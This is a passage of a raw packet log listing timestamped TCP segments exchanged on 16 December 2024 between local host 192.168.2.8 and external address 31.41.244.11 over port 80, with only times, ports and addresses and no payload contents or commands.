Dec 16, 2024 17:02:11.026711941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.026741028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.026762962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.027785063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.027802944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.027837038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.027853012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.028815985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.028867006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.028966904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.029011011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.029906034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.029922009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.029953003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.029974937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.030886889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.030941963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.031184912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.031232119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.032063007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.032078981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.032109022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.032126904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.033004045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.033046961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.033129930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.033195972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.034841061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.034894943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.035092115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.035141945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.036010027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.036067009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.036084890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.036128998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.037002087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.037048101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.172888041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.172941923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.172991037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.173051119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.173099995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.173142910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.173176050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.173213005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.173986912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.174038887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.174118996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.174165010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.174948931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.174999952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.175090075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.175133944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.175911903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.175930023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.175962925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.175995111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.176927090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.176983118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.177726984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.177778006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.177809000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.177824974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.177853107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.177871943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.178803921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.178855896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.179097891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.179147959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.179764032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.179811954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.179898024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.179949045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.180811882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.180861950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.181241035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.181291103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.182341099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.182356119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.182385921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.182408094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.183142900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.183191061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.184104919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.184120893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.184151888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.184171915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.184441090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.184485912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.185353041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.185370922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.185405016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.185425043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.186192989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.186240911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.186479092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.186522961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.187443972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.187489986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.187532902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.187575102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.188465118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.188514948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.188595057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.188637972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.189810991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.189826965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.189861059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.189886093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.190928936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.190943956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.190977097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.190999031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.191720009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.191735983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.191766977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.191786051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.192711115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.192787886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.193197966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.193244934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.193783045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.193830967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.194434881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.194483042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.194875002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.194926023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.195211887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.195257902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.196368933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.196384907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.196415901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.196434975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.197401047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.197453976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.198298931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.198348999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.198551893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.198565960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.198595047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.198611975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.199593067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.199639082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.200341940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.200427055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.200635910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.200650930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.200678110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.200707912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.201736927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.201785088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.202156067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.202208042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.202482939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.202498913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.202522993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.202545881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.203579903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.203597069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.203635931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.203661919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.204931021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.204947948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.204993963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.205018997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.205794096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.205842972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.206043005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.206090927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.206828117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.206878901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.207293034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.207340002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.207988024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.208030939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.208347082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.208389044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.208929062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.208945036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.208971977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.209003925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.210127115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.210143089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.210174084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.210191965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.211364031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.211422920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.211821079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.211870909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.212219000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.212265968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.212420940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.212467909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.213218927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.213269949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.213495016 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.213560104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.214286089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.214346886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.214695930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.214740992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.215368032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.215410948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.215451002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.215491056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.216413975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.216460943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.216644049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.216695070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.217619896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.217669010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.217931032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.217979908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.218677044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.218729019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.219021082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.219069004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.219758034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.219808102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.219816923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.219861984 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.220696926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.220743895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.221410036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.221453905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.221767902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.221807957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.221888065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.221925020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.222934961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.222984076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.223071098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.223130941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.223937988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.223987103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.224200010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.224245071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.225178957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.225239992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.225357056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.225402117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.226159096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.226222992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.227219105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.227235079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.227268934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.227288961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.227370977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.227413893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.228225946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.228272915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.363493919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.363656998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.363713980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.363755941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.364095926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.364154100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.364229918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.364279985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.364434958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.364483118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.365418911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.365474939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.365511894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.365556955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.366410017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.366427898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.366458893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.366472960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.367594957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.367638111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.368010998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.368062019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.368613958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.368630886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.368659019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.368683100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.369726896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.369774103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.369781017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.369818926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.370731115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.370778084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.371273041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.371331930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.371799946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.371845961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.372618914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.372665882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.372963905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.373008013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.373507977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.373581886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.374030113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.374075890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.374836922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.374892950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.375047922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.375065088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.375101089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.375119925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.376229048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.376282930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.376328945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.376370907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.377305984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.377362013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.377391100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.377434015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.378382921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.378400087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.378437996 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.378456116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.379369974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.379422903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.379554987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.379601002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.380434036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.380481958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.380816936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.380870104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.381525040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.381541014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.381576061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.381594896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.382540941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.382595062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.382651091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.382698059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.383718967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.383734941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.383775949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.384833097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.384888887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.385080099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.385138988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.385894060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.385947943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.386257887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.386307955 CET	49708	80	192.168.2.8	31.41.244.11
